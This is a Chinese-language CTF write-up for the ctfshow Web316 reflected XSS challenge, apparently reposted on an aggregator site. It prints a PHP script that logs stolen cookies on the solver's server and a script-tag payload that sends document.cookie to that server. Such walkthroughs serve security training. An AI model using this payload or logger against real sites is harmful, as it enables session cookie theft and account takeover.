当前位置: 首页 > news >正文

ctfshow(316)--XSS漏洞--反射性XSS

Web316

进入界面:
在这里插入图片描述

审计

显示是关于反射性XSS的题目。

思路

首先想到利用XSS平台解题,看其他师傅的wp提示flag是在cookie中。
当前页面的cookie是flag=you%20are%20not%20admin%20no%20flag。
但是这里我使用XSS平台,显示的cookie还是这样,并不能得到flag。该方法先作罢。

于是我们使用稳定性更高的方法:写js代码将cookie传到自己的服务器上。
先在服务器写一个php文件:

//flag.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie . "\n");
fclose($log);
?>

然后在靶机中传入如下代码:

<script>location.href="http://[自己服务器的IP]/flag.php?cookie="+document.cookie</script>

提交之后成功跳转到自己的网页。
查看自己服务器中的cookie.txt文件,得到flag。


http://www.mrgr.cn/news/67293.html

相关文章:

  • Echats柱状图的横坐标用图片显示
  • VBA06-组件
  • 开源的flash浏览器 CelfFlashBrowser
  • RabbitMQ应用问题
  • android 怎么查看依赖包的大小
  • 基于STM32的智能物联网家用机器人设计
  • 每日一题之老式计算器
  • 无需手动部署的正式版comfyUI是否就此收费?开源等同免费?
  • 定时任务——xxl-job原理与实现
  • 系统思考—深层结构
  • 【客户服务】全员服务
  • 查看网路信息-ifconfig命令
  • 目前主流的人工智能学习框架有哪些?
  • Java项目实战II基于Spring Boot的药店管理系统的设计与实现(开发文档+数据库+源码)
  • set和map的使用
  • 大模型微调:Adapter;在大模型基础上增加低秩矩阵或者adapter有什么用,这样还增加运算
  • chromium和Blink引擎,内存的管理策略
  • 【Android】时区规则库tzdata更新
  • 【Hadoop和Hbase集群配置】3台虚拟机、jdk+hadoop+hbase下载和安装、环境配置和集群测试
  • web——[SUCTF 2019]EasySQL1——堆叠注入
  • 链表拆分与快慢指针相关算法题
  • Go语言基础语法
  • WebGUI之Gradio:Gradio 5的简介、安装和使用方法、案例应用之详细攻略
  • Cerebellum:浏览器 AI 助手,基于 Claude 3.5 Sonnet 和 Selenium WebDriver 执行网页自动化任务
  • 二进制流文件下载和预览
  • SpringBoot3集成Junit5